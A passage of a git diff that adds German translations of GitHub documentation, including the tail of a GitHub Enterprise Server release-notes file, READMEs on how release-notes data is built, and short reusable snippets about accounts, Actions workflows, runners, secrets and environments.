+    - "Warnungen aus der Geheimnisüberprüfung für GitHub Advanced Security-Kunden fehlten in der Webbenutzeroberfläche und der REST-API, wenn ein Siteadministrator nicht direkt auf GitHub Enterprise Server 3.4 upgradete. Die Warnungen sind nun sichtbar."
+  changes:
+    - "Die Generierung von Supportbundles wird durch die parallelisierte Protokollbereinigung beschleunigt. Weitere Informationen zu Supportbundles findest du unter [Daten für den GitHub-Support bereitstellen](/support/contacting-github-support/providing-data-to-github-support)."
+    - "APIs, die die Route `organization` oder `org` enthalten, akzeptieren jetzt entweder das Platzhalterfeld oder die ID der Organisation. Zuvor akzeptierten die APIs nur Platzhalterfelder, was dazu führte, dass kein Zugriff auf `Link`-Kopfzeilen für GitHub Advanced Security-Endpunkte möglich war. Weitere Informationen findest du unter [Organisationen](https://docs.github.com/rest/orgs/orgs) in der REST-API-Dokumentation." 
+    - "Das Unternehmensüberwachungsprotokoll enthält jetzt mehr benutzergenerierte Ereignisse, wie z. B. `project.create`. Die REST-API liefert auch zusätzliche benutzergenerierte Ereignisse, wie z. B. `repo.create`. Weitere Informationen findest du unter [Zugreifen auf das Überwachungsprotokoll für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise) und [Verwenden der Überwachungsprotokoll-API für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)."
+    - "In einigen Fällen konnten Cachereplikate einige Git-Operationen für kürzlich aktualisierte Repositorys ablehnen. Weitere Informationen zum Zwischenspeichern von Repositorys findest du unter [Informationen zum Zwischenspeichern von Repositorys](/admin/enterprise-management/caching-repositories/about-repository-caching)." 
+    - "Du kannst jetzt konfigurieren, dass das globale Ankündigungsbanner über die REST-API geschlossen werden kann. Weitere Informationen findest du unter [Anpassen von Benutzernachrichten für dein Unternehmen](/admin/user-management/managing-users-in-your-enterprise/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)." 
+  known_issues:
+    - "Bei einer neu eingerichteten {% data variables.product.prodname_ghe_server %}-Instanz ohne Benutzer könnte ein Angreifer den ersten Administratorbenutzer erstellen."
+    - Benutzerdefinierte Firewallregeln werden während des Upgrades entfernt.
+    - "Nachverfolgte Git-LFS-Dateien, [die über die Webbenutzeroberfläche hochgeladen wurden](https://github.com/blog/2105-upload-files-to-your-repositories), werden dem Repository fälschlicherweise direkt hinzugefügt."
+    - "Issues können nicht geschlossen werden, wenn sie einen Permalink zu einem Blob im selben Repository enthalten und der Dateipfad des Blobs mehr als 255 Zeichen lang ist."
+    - "Wenn die Option zum Durchsuchen von GitHub.com mit GitHub Connect aktiviert wird, sind Issues in privaten und internen Repositorys nicht in den GitHub.com-Suchergebnissen enthalten."
+    - "Die {% data variables.product.prodname_registry %}-npm-Registrierung gibt in Metadatenantworten keinen Zeitwert mehr zurück. So sind erhebliche Leistungssteigerungen möglich. Die erforderlichen Daten zum Zurückgeben eines Zeitwerts in einer Metadatenantwort sind weiterhin verfügbar, und dieser Wert wird in Zukunft wieder zurückgegeben, sobald die vorhandenen Leistungsprobleme behoben wurden."
+    - "Ressourcenbegrenzungen, die nur beim Verarbeiten von Pre-Receive-Hooks auftreten, können bei manchen Pre-Receive-Hooks Fehler auslösen."
+    - "Actions-Dienste müssen nach der Wiederherstellung einer Instanz aus einer Sicherung, die auf einem anderen Host erstellt wurde, neu gestartet werden."
+    - "Wenn du in den Einstellungen eines Repositorys die Option aktivierst, die Benutzern mit Lesezugriff das Erstellen von Diskussionen gestattet, wird diese Funktionalität nicht aktiviert."
+    - In einigen Fällen können Benutzer vorhandene Issues nicht in Diskussionen umwandeln.
+    - "Benutzerdefinierte Muster für die Geheimnisüberprüfung verwenden `.*` als Endtrennzeichen, insbesondere im Feld „Nach Geheimnis“. Dieses Trennzeichen verursacht Inkonsistenzen in repositoryübergreifenden Überprüfungen auf Geheimnisse, und du stellst möglicherweise Lücken im Repositoryverlauf fest, in denen keine Überprüfungen abgeschlossen wurden. Auch inkrementelle Überprüfungen werden möglicherweise beeinträchtigt. Um Probleme mit Überprüfungen zu verhindern, ändere das Ende des Musters, indem du das Trennzeichen `.*` entfernst."
diff --git a/translations/de-DE/data/release-notes/enterprise-server/README.md b/translations/de-DE/data/release-notes/enterprise-server/README.md
new file mode 100644
index 0000000000..027df1b331
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/README.md
@@ -0,0 +1,45 @@
+---
+ms.openlocfilehash: a43b7fac5396fcbdb1b7d9ec241af9879de7b2b8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104104"
+---
+# Versionshinweise für GitHub Enterprise Server
+
+Hier gerendert: https://docs.github.com/en/enterprise-server@latest/admin/release-notes
+
+## Funktionsweise
+
+### Platzhalter-Inhaltsdatei
+
+Eine Inhaltsdatei existiert in `content/admin/release-notes.md`. Es verfügt über eine spezielle Titelei-Eigenschaft `layout: release-notes` und keinen Markdown-Inhalt. Die Quelle der Versionshinweise stammt aus YAML-Daten.
+
+### YAML-Quelle
+
+Die Quelldaten für die Versionshinweise befinden sich in diesem Verzeichnis (`data/release-notes/enterprise-server`).
+
+Die Verzeichnisse werden durch die GHES-Veröffentlichungsnummer (mit einem Bindestrich anstelle eines Zeitraums) benannt.
+
+Die YAML-Dateien in jedem Verzeichnis werden nach Patch-Nummer benannt. Einige Patch-Dateinamen enden möglicherweise mit `-rc<num>.yml`, was bedeutet, dass es sich um einen Release Candidate handelt. Eine Release Candidate-Datei erfordert `release_candidate: true` auch die YAML-Daten.
+
+Versionshinweise zu veralteten GHES-Versionen (siehe `lib/enterprise-server-releases.js`) werden **nicht** von der Website entfernt und werden immer zusammen mit derzeit unterstützten Versionen angezeigt.
+
+Beachte, dass Patch-Dateien einzeln (d.h. auf der docs-Website ausgeblendet) durch eine optionale `deprecated: true`-Eigenschaft veraltet sein können.
+
+### Middleware-Verarbeitung
+
+Die YAML-Daten werden verarbeitet und durch `middleware/contextualizers/release-notes.js` sortiert und dem `context`-Objekt hinzugefügt.
+
+### Layouts
+
+Die `context`-Objektdaten werden von `components/release-notes` gerendert.
+
+Die Seite mit den Versionshinweisen verfügt über ein eigenes Design mit CSS in `stylesheets/release-notes.scss`.
+
+### Schema
+
+Das Schema, das die YAML-Daten überprüft, befindet sich in `tests/helpers/schemas/ghes-release-notes-schema.js`. Informationen zu den erforderlichen und optionalen Eigenschaften findest Du in der Schemadatei.
+
+Das Schema wird von einem Test in `tests/linting/lint-files.js` ausgeführt. Der Test schlägt fehl, wenn die Daten die Überprüfung nicht bestehen.
diff --git a/translations/de-DE/data/release-notes/github-ae/README.md b/translations/de-DE/data/release-notes/github-ae/README.md
new file mode 100644
index 0000000000..bce714d164
--- /dev/null
+++ b/translations/de-DE/data/release-notes/github-ae/README.md
@@ -0,0 +1,43 @@
+---
+ms.openlocfilehash: 78f03188cb76fd34ffd5670585758bb8c9c2a47d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104096"
+---
+# Versionshinweise für GitHub AE
+
+Gerendert hier: https://docs.github.com/en/github-ae@latest/admin/release-notes
+
+## Funktionsweise
+
+### Platzhalter-Inhaltsdatei
+
+Eine Inhaltsdatei existiert in `content/admin/release-notes.md`. Es verfügt über eine spezielle Titelei-Eigenschaft `layout: release-notes` und keinen Markdown-Inhalt. Die Quelle der Versionshinweise stammt aus YAML-Daten.
+
+### YAML-Quelle
+
+Die Quelldaten für die Versionshinweise befinden sich in diesem Verzeichnis (`data/release-notes/github-ae`).
+
+Die Verzeichnisse sind nach Monaten benannt. Die YAML-Dateien werden nach den Daten einer wöchentlichen Version benannt.
+
+Eine boolesche Eigenschaft namens `currentWeek` muss in jeder YAML-Datei gesetzt werden. Diese Eigenschaft kann nur für eine Datei gleichzeitig auf „richtig“ gesetzt werden.
+
+Beachte, dass Patchdateien einzeln (d. h. auf der Docs-Website ausgeblendet) durch eine optionale `deprecated: true` Eigenschaft veraltet sein können.
+
+### Middleware-Verarbeitung
+
+Die YAML-Daten werden verarbeitet und durch `middleware/contextualizers/release-notes.js` sortiert und dem `context`-Objekt hinzugefügt.
+
+### Layouts
+
+Die `context`-Objektdaten werden von `components/release-notes` gerendert.
+
+Die Seite mit den Versionshinweisen verfügt über ein eigenes Design mit CSS in `stylesheets/release-notes.scss`.
+
+### Schema
+
+Das Schema, das die YAML-Daten überprüft, befindet sich in `tests/helpers/schemas/ghae-release-notes-schema.js`. Informationen zu den erforderlichen und optionalen Eigenschaften findest Du in der Schemadatei.
+
+Das Schema wird von einem Test in `tests/linting/lint-files.js` ausgeführt. Der Test schlägt fehl, wenn die Daten die Überprüfung nicht bestehen.
diff --git a/translations/de-DE/data/reusables/accounts/accounts-billed-separately.md b/translations/de-DE/data/reusables/accounts/accounts-billed-separately.md
new file mode 100644
index 0000000000..a82d33cfe1
--- /dev/null
+++ b/translations/de-DE/data/reusables/accounts/accounts-billed-separately.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 90399007d59f5047f1bfdd4807bea0f1e77dddd3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104084"
+---
+Jedes Konto für {% data variables.product.product_name %} wird separat berechnet. Das Upgrade eines Organisationskontos aktiviert kostenpflichtige Features nur für die Repositorys der Organisation und wirkt sich nicht auf die Features aus, die in Repositorys im Besitz zugehöriger persönlicher Konten verfügbar sind. Ebenso aktiviert das Upgrade eines persönlichen Kontos kostenpflichtige Features nur für die Repositorys des persönlichen Kontos und wirkt sich nicht auf die Repositorys von Organisationskonten aus. Weitere Informationen zu Kontotypen findest du unter [Typen von {% data variables.product.prodname_dotcom %}-Konten](/get-started/learning-about-github/types-of-github-accounts).
diff --git a/translations/de-DE/data/reusables/accounts/create-account.md b/translations/de-DE/data/reusables/accounts/create-account.md
new file mode 100644
index 0000000000..8430798159
--- /dev/null
+++ b/translations/de-DE/data/reusables/accounts/create-account.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 27ad8b0bdd1128bf259b15a401bda19cb25a3b17
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104083"
+---
+1. Gehe auf die Seite {% data variables.product.company_short %} der [Preisgestaltung.]({% data variables.product.pricing_url %})
+2. Lies die Informationen über die verschiedenen Produkte und Abonnements, die {% data variables.product.company_short %} anbietet, und klicke dann auf den Upgrade-Button unter dem Abonnement, das du auswählen möchtest.
diff --git a/translations/de-DE/data/reusables/accounts/create-personal-access-tokens.md b/translations/de-DE/data/reusables/accounts/create-personal-access-tokens.md
new file mode 100644
index 0000000000..e4e183e105
--- /dev/null
+++ b/translations/de-DE/data/reusables/accounts/create-personal-access-tokens.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: af44709073de5a6af1c4de166d5502502e8201e1
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106829"
+---
+1. Erstelle für jedes deiner Konten ein dediziertes {% data variables.product.pat_v1 %} mit `repo`-Bereich. {% ifversion pat-v2 %}Erstelle alternativ für jedes deiner Konten und für jede Organisation, deren Mitglied du bist, ein {% data variables.product.pat_v2 %}, das auf die gewünschten Repositorys zugreifen kann und Lese- und Schreibberechtigungen für Repositoryinhalte hat.{% endif %} Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token).
diff --git a/translations/de-DE/data/reusables/accounts/you-must-know-your-password.md b/translations/de-DE/data/reusables/accounts/you-must-know-your-password.md
new file mode 100644
index 0000000000..e6de2f0003
--- /dev/null
+++ b/translations/de-DE/data/reusables/accounts/you-must-know-your-password.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0706277e766ce2418b463c55213378867bd0cd52
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104080"
+---
+Wenn du dein persönliches Konto mit zweistufiger Authentifizierung schützt, aber dein Kennwort nicht kennst, kannst du diese Schritte zur Kontowiederherstellung nicht ausführen. {% data variables.product.company_short %} kann eine E-Mail für die Kennwortzurücksetzung an eine verifizierte Adresse senden, die deinem Konto zugeordnet ist. Weitere Informationen findest du unter [Anmeldeinformationen für den Zugriff auf {% data variables.product.prodname_dotcom %} aktualisieren](/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials#requesting-a-new-password).
diff --git a/translations/de-DE/data/reusables/actions/about-actions-for-enterprises.md b/translations/de-DE/data/reusables/actions/about-actions-for-enterprises.md
new file mode 100644
index 0000000000..ff8b663350
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-actions-for-enterprises.md
@@ -0,0 +1 @@
+{% data variables.product.prodname_actions %} allows {% ifversion ghec or ghae %}members of your enterprise{% elsif ghes %}people who use {% data variables.location.product_location %}{% endif %} to improve productivity by automating every phase of the software development workflow.
diff --git a/translations/de-DE/data/reusables/actions/about-actions.md b/translations/de-DE/data/reusables/actions/about-actions.md
new file mode 100644
index 0000000000..d748117a52
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-actions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 80a4d4b1ada9616ac5939c27b65bbc752d89323a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104075"
+---
+{% data variables.product.prodname_actions %} ist eine Plattform für Continuous Integration und Continuous Delivery (CI/CD), mit der du deine Build-, Test- und Bereitstellungspipeline automatisieren kannst.
diff --git a/translations/de-DE/data/reusables/actions/about-artifact-log-retention.md b/translations/de-DE/data/reusables/actions/about-artifact-log-retention.md
new file mode 100644
index 0000000000..f8e84925bf
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-artifact-log-retention.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 8a86f408128b56cc31c0e8876e962994edf7cdc4
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145282833"
+---
+Standardmäßig werden die von Workflows generierten Artefakte und Protokolldateien 90 Tage lang aufbewahrt und dann automatisch gelöscht.
+
+{%- ifversion fpt or ghec %} Du kannst den Aufbewahrungszeitraum abhängig von der Art des Repositorys anpassen:
+
+- Öffentliche Repositorys: Der Aufbewahrungszeitraum kann auf einen beliebigen Wert zwischen einem Tag und 90 Tagen festgelegt werden.
+- Private{% ifversion ghec %} und interne{% endif %} Repositorys: Der Aufbewahrungszeitraum kann auf einen beliebigen Wert zwischen einem Tag und 400 Tagen festgelegt werden.
+{%- else %} Der Aufbewahrungszeitraum kann auf einen beliebigen Wert zwischen einem Tag und 400 Tagen festgelegt werden.
+{%- endif %}
+
+Der angepasste Aufbewahrungszeitraum gilt nur für neue Artefakte und Protokolldateien. Er gilt nicht rückwirkend für bereits vorhandene Objekte. Bei verwalteten Repositorys und Organisationen darf der maximale Aufbewahrungszeitraum den von der verwaltenden Organisation oder vom verwaltenden Unternehmen festgelegten Grenzwert nicht übersteigen.
diff --git a/translations/de-DE/data/reusables/actions/about-artifacts.md b/translations/de-DE/data/reusables/actions/about-artifacts.md
new file mode 100644
index 0000000000..0a1b4efca4
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-artifacts.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5b853db664d1e37f1cebbcaaa525b07ba509cb4f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104067"
+---
+Mit Artefakten kannst du Daten zwischen Aufträgen in einem Workflow teilen und Daten nach Abschluss des Workflows speichern.
diff --git a/translations/de-DE/data/reusables/actions/about-environments.md b/translations/de-DE/data/reusables/actions/about-environments.md
new file mode 100644
index 0000000000..26515170e2
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-environments.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3f9e898e4df95a602acd3d894e921b98f7367aa3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104063"
+---
+Umgebungen werden verwendet, um ein allgemeines Bereitstellungsziel wie `production`, `staging` oder `development` zu beschreiben. Wenn ein {% data variables.product.prodname_actions %}-Workflow in einer Umgebung bereitgestellt wird, wird die Umgebung auf der Hauptseite des Repositorys angezeigt. Du kannst Umgebungen verwenden, um festzulegen, dass für die Fortsetzung eines Auftrags eine Genehmigung erforderlich ist, um einzuschränken, welche Branches einen Workflow auslösen können, oder um den Zugriff auf Geheimnisse zu beschränken. Weitere Informationen zu Umgebungen findest du unter [Verwenden von Umgebungen für die Bereitstellung](/actions/deployment/using-environments-for-deployment).
diff --git a/translations/de-DE/data/reusables/actions/about-oidc-short-overview.md b/translations/de-DE/data/reusables/actions/about-oidc-short-overview.md
new file mode 100644
index 0000000000..a15f390572
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-oidc-short-overview.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: cd26a748114e97e5890d05e87b80e2253e0de04f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104059"
+---
+
+Wenn deine {% data variables.product.prodname_actions %}-Workflows auf Ressourcen eines Cloudanbieters zugreifen müssen, der OpenID Connect (OIDC) unterstützt, kannst du deine Workflows so konfigurieren, dass die Authentifizierung direkt beim Cloudanbieter erfolgt. Dadurch musst du diese Anmeldeinformationen nicht mehr als langlebige Geheimnisse speichern und profitierst zudem von weiteren Sicherheitsvorteilen. Weitere Informationen findest du unter [Informationen zur Sicherheitshärtung mit OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect).
diff --git a/translations/de-DE/data/reusables/actions/about-runner-groups.md b/translations/de-DE/data/reusables/actions/about-runner-groups.md
new file mode 100644
index 0000000000..186f999e3b
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-runner-groups.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 8492ebc0962837c6f748fe30dbca08f529c353fc
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108475"
+---
+{% ifversion fpt %} {% note %}
+
+**Hinweis**: Alle Organisationen verfügen über eine einzige Standardrunnergruppe. Nur Unternehmenskonten und Organisationen, die im Besitz von Unternehmenskonten sind, können zusätzliche Runnergruppen erstellen und verwalten.
+
+{% endnote %}
+
+Runnergruppen werden zum Steuern des Zugriffs auf Runner verwendet. Organisationsadministratoren können Zugriffsrichtlinien konfigurieren, mit denen gesteuert wird, welche Repositorys in einer Organisation Zugriff auf die Runnergruppe erhalten.
+
+Mit {% data variables.product.prodname_ghe_cloud %} kannst du zusätzliche Runnergruppen erstellen. Enterprise-Administratoren können Zugriffsrichtlinien konfigurieren, mit denen gesteuert wird, welche Organisationen in einem Unternehmen Zugriff auf die Runnergruppe erhalten. Außerdem können Organisationsadministratoren der Enterprise-Runnergruppe weitere präzise Zugriffsrichtlinien für Repositorys zuweisen. {% endif -%} {% ifversion ghec or ghes or ghae %}
+
+{% data reusables.actions.runner-group-enterprise-overview %}
+
+Neu erstellte Runner werden automatisch der Standardgruppe zugewiesen. Runner können immer nur Mitglied einer Gruppe sein. Du kannst Runner aus der Standardgruppe in eine andere Gruppe verschieben. Weitere Informationen findest du unter [Verschieben eines Runners in eine Gruppe](#moving-a-runner-to-a-group).
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/about-runners.md b/translations/de-DE/data/reusables/actions/about-runners.md
new file mode 100644
index 0000000000..f3d4118250
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-runners.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6ef3ea32691437d12387373824727820903c4318
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104052"
+---
+Ein Runner ist ein Server, auf dem deine Workflows ausgeführt werden, wenn sie ausgelöst werden.
diff --git a/translations/de-DE/data/reusables/actions/about-secrets.md b/translations/de-DE/data/reusables/actions/about-secrets.md
new file mode 100644
index 0000000000..15589b382a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-secrets.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4877ea00c231be89c614457cf5a560b3d56b1c9b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062766"
+---
+Verschlüsselte Geheimnisse ermöglichen dir, vertrauliche Informationen wie Zugriffstoken in deinem Repository, in Repositoryumgebungen oder in der Organisation zu speichern.
diff --git a/translations/de-DE/data/reusables/actions/about-self-hosted-runners.md b/translations/de-DE/data/reusables/actions/about-self-hosted-runners.md
new file mode 100644
index 0000000000..9778230b6e
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-self-hosted-runners.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ee5fadf26c020023a56061fe346ea407d56385ef
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104043"
+---
+Dank selbstgehosteter Runner kannst du deine eigenen Runner hosten und die Umgebung anpassen, die für die Ausführung von Aufträgen in deinen {% data variables.product.prodname_actions %}-Workflows verwendet wird.
diff --git a/translations/de-DE/data/reusables/actions/about-triggers.md b/translations/de-DE/data/reusables/actions/about-triggers.md
new file mode 100644
index 0000000000..6a63046020
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-triggers.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 27c764ba249fba171877221492b486d59bde7230
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104039"
+---
+Workflowtrigger sind Ereignisse, die dazu führen, dass ein Workflow ausgeführt wird. Dabei kann es sich um folgende Ereignisse handeln:
+
+- Ereignisse, die im Repository deines Workflows auftreten
+- Ereignisse, die außerhalb von {% data variables.product.product_name %} auftreten und ein `repository_dispatch`-Ereignis in {% data variables.product.product_name %} auslösen
+- Geplante Zeiten
+- Manuell
+
+Du kannst deinen Workflow so konfigurieren, dass er ausgeführt wird, wenn ein Push an den Standardzweig deines Repositorys durchgeführt, ein Release erstellt oder ein Issue geöffnet wird.
diff --git a/translations/de-DE/data/reusables/actions/about-workflow-jobs.md b/translations/de-DE/data/reusables/actions/about-workflow-jobs.md
new file mode 100644
index 0000000000..69a3a27ae9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-workflow-jobs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ad8ac5e27bdb44b504e64d053ad2088a9ff006cf
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104036"
+---
+Ein Workflowauftrag umfasst mehrere Schritte, die auf demselben Runner ausgeführt werden.
diff --git a/translations/de-DE/data/reusables/actions/about-workflow-runs.md b/translations/de-DE/data/reusables/actions/about-workflow-runs.md
new file mode 100644
index 0000000000..fc95974f58
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-workflow-runs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2cf6fd271bfd2ad7382b4a8f71c2e0e988ebf586
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104035"
+---
+Eine Workflowausführung ist eine Instanz deines Workflows, die ausgeführt wird, wenn das vorkonfigurierte Ereignis eintritt.
diff --git a/translations/de-DE/data/reusables/actions/about-workflows-long.md b/translations/de-DE/data/reusables/actions/about-workflows-long.md
new file mode 100644
index 0000000000..17a35f41f0
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-workflows-long.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: ba9c00a9dfa055c518eb60bca3acc59a3cc89381
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145104032"
+---
+Ein Workflow ist ein konfigurierbarer automatisierter Prozess zur Ausführung eines oder mehrerer Aufträge. Workflows werden durch eine im Repository eingecheckte YAML-Datei definiert. Die Auslösung ihrer Ausführung erfolgt durch ein Ereignis in deinem Repository, manuell oder nach einem definierten Zeitplan.
+
+Workflows werden im Verzeichnis `.github/workflows` in einem Repository definiert, und ein Repository kann mehrere Workflows aufweisen, die jeweils eine andere Gruppe von Aufgaben ausführen können. So kannst du etwa einen Workflow zum Erstellen und Testen von Pull Requests erstellen, einen zweiten zum Bereitstellen deiner Anwendung bei jeder neuen Erstellung eines Releases und einen dritten zum Hinzufügen von Bezeichnungen bei jeder Öffnung eines weiteren Issues.
diff --git a/translations/de-DE/data/reusables/actions/about-workflows.md b/translations/de-DE/data/reusables/actions/about-workflows.md
new file mode 100644
index 0000000000..addbefbb41
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/about-workflows.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0a1fdbb83aeb4f64eb78893237dca055f9c328b7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105167"
+---
+Mit Workflows kannst du den Lebenszyklus deiner Softwareentwicklung mit einer Vielzahl von Tools und Diensten automatisieren.
diff --git a/translations/de-DE/data/reusables/actions/access-actions-on-dotcom.md b/translations/de-DE/data/reusables/actions/access-actions-on-dotcom.md
new file mode 100644
index 0000000000..e60ce015d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/access-actions-on-dotcom.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a8b33109e1cfc09d65237d9d961a3c49a46fb093
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145104028"
+---
+Wenn Benutzer in Ihrem Unternehmen Zugriff auf andere Aktionen von {% data variables.product.prodname_dotcom_the_website %} oder {% data variables.product.prodname_marketplace %} benötigen, gibt es einige Konfigurationsoptionen.
diff --git a/translations/de-DE/data/reusables/actions/action-cache.md b/translations/de-DE/data/reusables/actions/action-cache.md
new file mode 100644
index 0000000000..9ccf71937f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-cache.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: de1bd4d26aa9af8eb10a2fe0688a7125e58bf22e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067890"
+---
+actions/cache@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-checkout.md b/translations/de-DE/data/reusables/actions/action-checkout.md
new file mode 100644
index 0000000000..25b6e89ceb
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-checkout.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9bf2d8558749d983e6ce45fac6550ba7a921cbd7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062765"
+---
+actions/checkout@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/action-codeql-action-analyze.md b/translations/de-DE/data/reusables/actions/action-codeql-action-analyze.md
new file mode 100644
index 0000000000..5e7c7fd394
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/action-codeql-action-analyze.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d3ad9789720663d813893180904d2372fe0fbd7f
